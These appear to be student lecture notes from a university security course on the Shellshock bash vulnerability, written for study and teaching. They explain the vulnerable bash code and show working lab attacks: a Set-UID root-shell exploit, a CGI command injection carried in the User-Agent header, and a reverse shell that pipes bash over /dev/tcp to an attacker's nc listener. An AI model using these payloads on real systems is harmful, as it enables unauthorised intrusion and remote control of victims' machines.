# 03 Shellshock NTNU 資安攻防演練 ##### [Back to Note Overview](https://reurl.cc/XXeYaE) ##### [Back to Information Security: A Hands-on Approach](https://hackmd.io/z5PJjK7eTJ29YEhMjyAaCw) <!-- {%hackmd @sophie8909/pink_theme %} --> ###### tags: `攻防演練` `110-1` `CSIE` `選修` `NTNU` <!-- tag順序 [學校] [系 必選] or [學程 學程名(不含學程的 e.g. 大師創業)] [課程] [開課學期]--> ## Overview - [Shell Functions](#Shell-Functions) - [Shellshock Vulnerability](#Shellshock-Vulnerability) - [Shellshock Attack on Set-UID Programs](#Shellshock-Attack-on-Set-UID-Programs) - [Shellshock Attack on CGI Programs](#Shellshock-Attack-on-CGI-Programs) - [Reverse Shell](#Reverse-Shell) ## Shell Functions - Shell function is a special type of variable that is essentially - Shell functions are declared using this syntax: > function_name () compound-command > function_name [()] compound-command - The body of a function must be a compound command, such as a {$\cdots$} block. - This is the conventional choice, even when all it contains is a single compound command and so could theoretically be dispensed with. ```shell= #/bin/bash test_arg(){ echo $1 echo $2 echo $@ # All postional arguments (as seperate strings) echo $* # All postional arguments (as a single word) echo $# } echo "---Test1---" test_arg hello echo "---Test2---" test_arg hello world kitty ``` ```shell= $ foor() { echo "Inside function."; } $ declare -f foo # check foo is declared or not . . . $ unset -f foo # delete foo function ``` 1. Define a <font color=purple> **function** </font> in the parent shell, and then export it. The child process will have the function. 2. Define an environment variable. It will become a function definition in the child bash process. ```shell= $ foo='() { echo "Inside function."; }' $ echo $foo () { echo "Inside function."; } $ declare -f foo $ export foo $ bash_shellshock (child) $ foo (child) $ declare -f foo foo() { echo "Inside function." } ``` - **bash_shellshock** is an unpatched bash. That is say that it would change a nornal environment variable become to a shell function. ## Shellshock Vulnerability The root cause is in *variable.c* around 300-350. ```c= void initialize_shell_variables (env, privmode) char **env; int privmode; { ... // If exported function , define it now. // Don't import functions from the environment in privileged mode. if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string , 4)) { ... string_length = strlen (string); temp_string =(char *) xmalloc (3 + string_length + char_index ); strcpy (temp_string , name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); parse_and_execute (temp_string , name , SEVAL_NONINT|SEVAL_NOHIST ); } ``` - The program will check the key string <font color=red> "() {"</font>. If matched, the string will be treated as a function. - **char_index** is the position of the character '='. So the program change the character from '=' to ' '. ![](https://i.imgur.com/rdGCmHs.png) Two conditions are needed to exploit the vulnerability. 1. The target process should run bash. 2. The target process should get untrusted user input via envirenmenet variables. ## Shellshock Attack on Set-UID Programs ```c= $ gcc vul.c -o vul # use system to call /bin/ls -l $ ./vul ... $ sudo chown root vul $ sudo chmod +s vul $ ./vul ... $ foo='() { echo "approach 2"; }; /bin/sh' $ export foo $ ./vul sh-4.2# # get root with in bash ``` ## Shellshock Attack on CGI Programs - You should know the parameters are passed through <font color=red> **environment variables**</font>. ![](https://i.imgur.com/a2zvnsB.png) ```shell= # getenv.cgi # !/bin/bash_shellshock echo "Content-type: text/plain" echo echo "****** Environment Varialbes ******" strings /proc/$$/environ ``` ```shell= $ curl -v https://10.9.0.80/cgi-bin/getenv.cgi * Trying 10.9.0.80:80... * TCP_NODELAY set * Connected to 10.9.0.80 (10.9.0.80) port 80 (#0) > GET /cgi -bin/getenv.cgi HTTP /1.1 > Host: 10.9.0.80 > User -Agent: curl /7.68.0 # <--- > Accept: */* > * Mark bundle as not supporting multiuse < HTTP /1.1 200 OK < Date: Fri , 02 Jul 2021 16:55:03 GMT < Server: Apache /2.4.41 (Ubuntu) < Vary: Accept -Encoding < Transfer -Encoding: chunked < Content -Type: text/plain < ****** Environment Variables ****** HTTP_HOST =10.9.0.80 HTTP_USER_AGENT=curl /7.68.0 # <--- <skip > ``` - You can see that the **USER_AGENT** is passed through the environment variable. ```shell= $ curl -A "NTNU" -v http ://10.9.0.80/cgi -bin/getenv.cgi * Trying 10.9.0.80:80... * TCP_NODELAY set * Connected to 10.9.0.80 (10.9.0.80) port 80 (#0) > GET /cgi -bin/getenv.cgi HTTP /1.1 > Host: 10.9.0.80 > User -Agent: NTNU # <-- > Accept: */* > * Mark bundle as not supporting multiuse <skip > ****** Environment Variables ****** HTTP_HOST =10.9.0.80 HTTP_USER_AGENT=NTNU # <-- ``` - And we can launch attack with **bash_shellshock**. ```shell= $ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -al" -v http://10.9.0.80/cgi-bin/vul.cgi <skip> < Content_type: text/plain < Transfer -Encoding: chunked < total 16 -rwxr -xr-x 1 root root 130 Dec 5 2020 getenv.cgi -rwxr -xr-x 1 root root 85 Dec 5 2020 vul.cgi ... ``` - The <font color=purple> **space** </font> is very important. - Unfortunately, in Ubuntu, the web server runs with the <font color=red> www-data </font> ID, which implies that there are only few things that you can do. - Besides, if wa can get an interactive interface, it will be better. ## Reverse Shell - Reverse shell is a shell process started on a machine with its input and output being controlled by someone from a remote computer. - Key idea: <font color=red> **Redirecting </font> a shell program’s <font color=blue> standard input and output </font> to network connections. ```shell= $ gcc file_redirect.c -o file_redirect $ ./file_redirect 100 Std Output: 100 Std Error: 100 $ ./ file_redirect 0< test0.txt 1> test1.txt 2> test2.txt $ cat test1.txt Std Output: 999 $ cat test2.txt Std Error: 999 ``` ![](https://i.imgur.com/zcBQ4uI.png) - A network socket is also treated as a file in Linux. - So you can also redirect a network socket to a program. - <font color=red> **Duplicate a file descriptor** </font> ```c= #include <unistd.h> int dup(int oldfd); int dup2(int oldfd, int newfd); ``` ```shell $ cat < /dev/tcp/time.nist.gov/13 59401 21-07-06 01:41:20 50 0 0 22.9 UTC(NIST) * ``` ### Note - The **/dev** directary contains entries for the physical devices that <font color=red> may or may not </font> be represent in the hardware. - For example: /dev/null, /dev/zero, /dev/random, /dev/urandom - When executing a command on a <font color=purple> /dev/tcp/$host/$port </font> pseudo-device file, Bash opens a TCP connectnio to the associated socket. ### Now We Want to Start a Reverse Shell 1. The attacker first setups a server. 2. The attacker then builds a connection from the vuctim;s machine to its server. 3. The attacker starts an interactive shell on the victim’s machine, and redirect the shell’s input and output to the connection. - <font color=blue> netcar (nc) </font> is a computer networking utility for reading from and writing to network connwctions using TCP or UDP. ```shell= # (Attacker) $ nc -lvn 9090 Listening on 0.0.0.0 9090 Connection received on 10.9.0.80 52556 # (Victim) $ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 # (Attacker) $ ip addr | grep inet ip addr | grep inet inet 127.0.0.1/8 scope host lo inet 10.9.0.80/24 brd 10.9.0.255 scope global eth0 ``` - You can also use the fowlling command. - /bin/bash -i &> /dev/tcp/10.9.0.1/9090 0<&1